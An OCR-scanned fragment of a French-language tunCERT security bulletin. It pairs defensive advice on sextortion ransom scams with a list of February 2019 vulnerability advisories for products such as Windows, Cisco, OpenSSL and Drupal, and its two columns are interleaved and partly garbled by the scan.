de passe et vos identifiants bancaires
dans les navigateurs web.

- Mettre a jour vos navigateurs web

Les vulnérabi-
lités signalées
par TunCERT
durant le mois
de Février v

pirate Iui demande une
somme d'argent (rangon)
pour qu'il ne diffuse pas ses [tunCERT/Vuln.2019-070 27/02/2019 F5 BIG-IP
données piratées ainsi que [tunCERT/Vuln.2019-068 27/02/2019 OpenssL
ses vidéos filmées sur les JrynceRT/Vuln.2019-067 25/02/2019 ISC BIND 9
reseaux sociaux. tunCERT/Vuln.2019-066 22/02/2019 WInRAR
. tunCERT/Vuln.2019-065 22/02/2019 Microsoft Windows
E(‘:S;’"‘S‘,‘:]“d;:;‘t’é‘gser ous JFUNCERT/Vuln2019-064 22/02/2019 Adobe Reader et Acrobat
. o~ . JtunCERT/Vuln.2019-063 21/02/2019 Noyau de Drupal
vous conseillons d’étre vi- _ - : -
gilant et de suivre les me- tunCERT/Vuln.2019-062 21/02/2019 C.!sco HyperFlex Software :
sures préventives suivantes tunCERT/Vuln.2019-061 21/02/2019 Cisco Network Convergence System 1000 Series
. tunCERT/Vuln.2019-060 21/02/2019 Cisco Prime Collaboration Assurance Software
tunCERT/Vuln.2019-059 21/02/2019 Cisco Prime Infrastructure
- Vérifier si votre adresse [JtunCERT/Vuln.2019-058 19/02/2019 Systémes Linux Ubuntu
email a été divulguée sur les ftunCERT/Vuln.2019-057 18/02/2019 Produits VMware
bases de fuite de données JtunCERT/Vuln.2019-054 14/02/2019 Noyau Linux
https://haveibeenpw- tunCERT/Vuln.2019-053 13/02/2019 Joomla!
ned.com/ et changer im- JtunCERT/Vuln.2019-052 13/02/2019 Produits Mozilla
médiatement vos mots de JtunCERT/Vuln.2019-051 13/02/2019 Cisco Network Assurance Engine
passe surtout si vous avez [tunCERT/Vuln.2019-050 13/02/2019 Microsoft Exchange Server
¢té impliqué dans une vio- KunCERT/Vuin.2019-049 13/02/2019 Microsoft: Outils de développement
lation de données. tunCERT/Vuln.2019-048 13/02/2019 Noyau des systémes Microsoft Windows
- Refuser toute demande F cerT/vuin 2019-047 13/02/2019 | Microsoft Office
dag;gg?g::\t‘gggiizebzam tunCERT/Vuln.2019-046 13/02/2019 Microsoft Edge
, tunCERT/Vuln.2019-045 13/02/2019 Internet Explorer
ou toute autre cameéra - —— -
connectée & Internet lorsque tunCERT/Vuln.2019-044 13/02/2019 Adobe ColdFusion
vous n’avez pas besoin. tunCERT/Vuln.2019-043 13/02/2019 Adobe Reader et Acrobat
- Ne pas répondre aux tunCERT/Vuln.2019-042 13/02/2019 Adobe Flash Player
emails non sollicités de- JtUnCERT/Vuln.2019-041 08/02/2019 Produits Apple
mandant vos informations JtunCERT/Vuln.2019-040 08/02/2019 Google Chrome
personnelles : numéro CIN, [tunCERT/Vuln.2019-039 07/02/2019 Cisco Aironet Active Sensor
numéro de passeport, iden- JtunCERT/Vuln.2019-038 07/02/2019 Cisco Meeting Server
tité bancaire ou mots de JtunCERT/Vuln.2019-037 06/02/2019 Google Android
passe. tunCERT/Vuln.2019-036 01/02/2019 Produits Mozilla

- Ne pas payer la rangon.

Source: https://tuncert.ansi.tn/publish/module/listvulnerabilite.asp
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